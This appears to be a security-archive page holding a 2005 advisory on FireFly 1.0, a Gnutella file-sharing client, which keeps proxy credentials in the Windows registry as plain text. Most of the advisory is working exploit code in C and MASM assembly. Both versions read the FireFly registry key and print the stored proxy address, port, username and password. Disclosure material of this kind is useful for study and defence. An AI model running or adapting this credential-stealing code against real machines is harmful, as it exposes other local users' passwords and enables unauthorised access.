what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

firefly_pass_recovery.txt

firefly_pass_recovery.txt
Posted Apr 18, 2005
Site spyinstructors.com

Firefly filetrading software version 1.0 stores proxy passwords, if configured, in a manner that leaves them vulnerable to being discovered by any other local users.

tags | exploit, local
SHA-256 | d01fc7dc93ba6ee2249f7b34a5da9cb6556b56356b3fbf0588e916958900176b

firefly_pass_recovery.txt

Change Mirror Download
---------------------
Application:
---------------------


FireFly 1.0


---------------------
Introduction:
---------------------

Vendor: NetCruiser Software
www.netcruiser-software.com

Vendor Description: Firefly is a Windows application that
allows you to share files with other users.
Firefly uses the Gnutella network, a free and open network.



---------------------
Bug:
---------------------


FireFly 1.0 stores proxy passwords
in registry with plain text format without crypting and
can be viewed by a local user.



---------------------
Vendor Confirmed:
---------------------
No.


---------------------
Fix:
---------------------
There is no solution at the time of this entry.



---------------------
Exploit:
---------------------


-------
C CODE:
-------



/*****************************************************************

FireFly v1.0 Local Exploit by Kozan

Application: FireFly v1.0
Vendor: NetCruiser Software - www.netcruiser-software.com
Vulnerable Description: FireFly v1.0 discloses proxy passwords
to local users.


Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com


*****************************************************************/


#include
#include

#define BUFSIZE 100
HKEY hKey;
char proxyaddr[BUFSIZE],
proxyport[BUFSIZE],
proxyuser[BUFSIZE],
proxypass[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;


int main(void)
{

if(RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\FireFly FileFinder\\GnutellaServer",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "ProxyAddr", NULL, NULL,(LPBYTE) proxyaddr, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyaddr,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPass", NULL, NULL,(LPBYTE) proxypass, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxypass,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyUser", NULL, NULL,(LPBYTE) proxyuser, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyuser,"Not found!");
}
lRet = RegQueryValueEx( hKey, "ProxyPort", NULL, NULL,(LPBYTE) proxyport, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
strcpy(proxyport,"Not found!");
}


RegCloseKey( hKey );

printf("FireFly v1.0 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Proxy Address : %s\n",proxyaddr);
printf("Proxy Port : %s\n",proxyport);
printf("Proxy Username : %s\n",proxyuser);
printf("Proxy Password : %s\n",proxypass);


}
else{
printf("FireFly v1.0 is not installed on your system!\n");
}


return 0;
}



---------
ASM CODE:
---------


;*****************************************************************

;FireFly v1.0 Local Exploit by Kozan

;Application: FireFly v1.0
;Vendor: NetCruiser Software - www.netcruiser-software.com
;Vulnerable Description: FireFly v1.0 discloses proxy passwords
;to local users.


;Discovered & Coded by: Kozan
;Credits to ATmaCA
;Web : www.netmagister.com
;Web2: www.spyinstructors.com
;Mail: kozan@netmagister.com

;*****************************************************************

.386
.model flat, stdcall
option casemap :none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\shell32.inc
include \masm32\include\advapi32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\shell32.lib
includelib \masm32\lib\advapi32.lib
includelib \masm32\lib\masm32.lib
literal MACRO quoted_text:VARARG
LOCAL local_text
.data
local_text db quoted_text,0
.code
EXITM
ENDM
SADD MACRO quoted_text:VARARG
EXITM
ENDM
.data
SubKey db "Software\\FireFly FileFinder\\GnutellaServer",0
szUser db "ProxyUser",0
szPass db "ProxyPass",0
szAddr db "ProxyAddr",0
szPort db "ProxyPort",0
notInstalled db "FireFly v1.0 is not installed on your pc!",0
Theoutput db '_______________________________________________________________',13,10
db '* FireFly v1.0 Local Exploit by Kozan *',13,10
db '* Discovered & Coded by Kozan *',13,10
db '* Credits to ATmaCA *',13,10
db '* www.spyinstructors.com - www.netmagister.com *',13,10
db '* kozan@netmagister.com *',13,10
db '*_____________________________________________________________*',13,10
db ' Proxy Address : %s ',13,10
db ' Proxy Port : %s ',13,10
db ' Proxy Username : %s ',13,10
db ' Proxy Password : %s ',13,10,0
KeySize DWORD 255
.data?
TheADDRData db 64 dup (?)
ThePORTData db 64 dup (?)
TheUSERData db 64 dup (?)
ThePASSData db 64 dup (?)
TheReturn DWORD ?
strbuf db 258 dup (?)
.code
start:
invoke RegOpenKeyEx, HKEY_CURRENT_USER,addr SubKey,0,KEY_READ,addr TheReturn
.IF eax==ERROR_SUCCESS
invoke RegQueryValueEx,TheReturn,addr szAddr,0,0,addr TheADDRData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheADDRData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szUser,0,0,addr TheUSERData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr TheUSERData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPass,0,0,addr ThePASSData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePASSData,SADD("Not Found!")
.ENDIF
invoke RegQueryValueEx,TheReturn,addr szPort,0,0,addr ThePORTData, addr KeySize
.IF KeySize < 2
invoke lstrcpy,addr ThePORTData,SADD("Not Found!")
.ENDIF

invoke wsprintf, addr strbuf, addr Theoutput,addr TheADDRData, addr ThePORTData, addr TheUSERData, addr ThePASSData
invoke StdOut, addr strbuf
.ELSE
invoke StdOut, addr notInstalled
.ENDIF
invoke RegCloseKey , TheReturn
Invoke ExitProcess,0
end start

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close